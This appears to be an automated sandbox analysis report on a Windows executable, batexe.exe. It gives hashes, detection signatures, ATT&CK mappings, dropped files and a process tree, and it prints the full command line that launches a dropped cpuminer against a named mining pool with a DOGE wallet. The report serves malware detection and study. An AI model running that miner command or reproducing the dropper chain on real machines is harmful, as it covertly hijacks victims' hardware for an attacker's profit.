73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
297s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
14-02-2024 04:01

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2964	b2e.exe
1596	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1596	cpuminer-sse2.exe
1596	cpuminer-sse2.exe
1596	cpuminer-sse2.exe
1596	cpuminer-sse2.exe
1596	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2864-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2864 wrote to memory of 2964	2864	batexe.exe	75
PID 2864 wrote to memory of 2964	2864	batexe.exe	75
PID 2864 wrote to memory of 2964	2864	batexe.exe	75
PID 2964 wrote to memory of 4644	2964	b2e.exe	76
PID 2964 wrote to memory of 4644	2964	b2e.exe	76
PID 2964 wrote to memory of 4644	2964	b2e.exe	76
PID 4644 wrote to memory of 1596	4644	cmd.exe	79
PID 4644 wrote to memory of 1596	4644	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2864
- C:\Users\Admin\AppData\Local\Temp\9981.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9981.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9981.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2964
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9BB3.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4644
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9981.tmp\b2e.exe

Filesize
6.2MB

MD5
3895d468c971fc0e777c38eefb977764

SHA1
d2ce65cd94478bda13e72418cf85745bc0692553

SHA256
fbe733c6b15d866887417f3e614391b18f5bf19b20b65c3217ce574191334dfb

SHA512
a1fe8060b1c885ae7a573e27f5a1bc016090a66c32f903af8e9cca4a4244e169113006970aedd276a60236b502c766746133bc490c948ce49a44b5b507cb4a51

Download Submit
C:\Users\Admin\AppData\Local\Temp\9BB3.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
512KB

MD5
a879c5fd4613dca566d5b1a782690dd5

SHA1
41c6063b0f0dee953e99713a5326856b55e08366

SHA256
3ee76359d6802a8fe11c5b144e18ffd3833bc7b49d66f190621d41e41ea0fc20

SHA512
e20f8f40822ca215c75767b8d4102583cfb3812c74dbc064a8619f214c164ab94da6bee0ae42c794a0af1847ff30c295b34d3015f87bfe597dba80339871ea96

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
128KB

MD5
48c422e815911804d8322f84e605438f

SHA1
b577cb4575fdf07ead63d0f9831833f4f30788e9

SHA256
3247538f008c10c405b77c7a1ff636bd7f7e72b0cf4b5990870c157958b4e6ea

SHA512
0278d1c8a8bb02bb70bac382c89481451ddd147f2b195fed3cf1105524358a04703be54186e138d0e1f1423441e694cd292eb890cfe66bc421eb160821548f8c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.5MB

MD5
4a642d48906877677b34c869dc1f76cb

SHA1
941f59e89190fff703ac7011a90838fd74a59da5

SHA256
a171b009330176d2783357e419ed9ea5a85e3f4084e23892c0c30cb2419ab285

SHA512
062b0e6f12f4324a8fcd078adf0460d074c8a01c49abb4d8b213ec1e543df080d335b44ff00a582742a24fb9b060af74d3e4cf311935d84797d9154b78eb03b3

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
64KB

MD5
e7317a0a343dc63f3fa3bf9ca6e93ff0

SHA1
0d48881feb76cf81fc46614bebfa3c134cada128

SHA256
277a43f17ccc4f0fba87c710212de61a41383bcb94410fa093b50ebd50347a63

SHA512
84ef51472db00cd4e90df3062a3cbc29a994c5cf470e54300d4a2f103ba8fb8279ec87b0561625ea1bccd80a7ad664c63457831b4eb919a7608099430b98a3d9

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
42KB

MD5
5336e65b1909dcaf75b82677e9e17d68

SHA1
8f3c3b512ab1825626dd8695030855274d524717

SHA256
9913ae3652d6837ec4851a249858cd9fa472adcd773ca17e407b6813be6f11e2

SHA512
6905bb8d96402ef1c9ff383436e5c7c3e148919e55a50de01f7ae115990993b1e45ab9d5ff08f54484dcfd483c1c4bca6b50a89a5844e47afb803145fc93c05e

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
14KB

MD5
5c37dcf3e37dbc99177c5bcf977be61c

SHA1
44b8d5a15e30792b04ebbcd38b18779b66b5c07e

SHA256
29d05cc85bfba5e047fa07d67fd4832259ed2cd8e651e1d0719d6d1fe4ab1c5c

SHA512
7653829956b1e040b59d78d1b8d3efae81a65c906be1a5538d0ec6167af3fce5f0cfeaa506290d3ab23d192ff971a408c5b4a74736c83ba3ee9e6faa6b611d7d

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1596-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1596-43-0x000000006F6F0000-0x000000006F788000-memory.dmp

Filesize
608KB

Download
memory/1596-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1596-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-44-0x0000000001030000-0x00000000028E5000-memory.dmp

Filesize
24.7MB

Download
memory/1596-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1596-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2864-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2964-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2964-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download